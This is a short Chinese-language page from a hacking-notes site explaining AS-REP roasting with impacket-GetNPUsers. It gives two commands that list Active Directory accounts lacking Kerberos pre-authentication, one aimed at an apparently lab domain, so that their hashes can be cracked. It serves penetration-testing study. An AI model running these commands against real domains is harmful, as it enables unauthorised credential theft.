> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/kerberos-88/impacket-getnpusers-tool.md).
# impacket-GetNPUsers - 工具
使用 impacket-GetNPUsers 针对未启用 Kerberos 预认证的账户进行 AS-REP roasting。
### impacket-GetNPUsers
> 这个工具，同样来自 **Impacket** 该套件，用于枚举配置为不需要 Kerberos 预认证的 Active Directory 账户。这些账户容易受到一种称为 **AS-REP 烘烤攻击**.
示例：
```bash
impacket-GetNPUsers domain.local/ -no-pass -usersfile users.txt
```
* 此命令列出在 `egotistical-bank.local` 域，并检查哪些账户不需要预认证。随后可使用结果尝试破解获取到的哈希值。
```bash
impacket-GetNPUsers egotistical-bank.local/ -no-pass -usersfile users.txt
```
---
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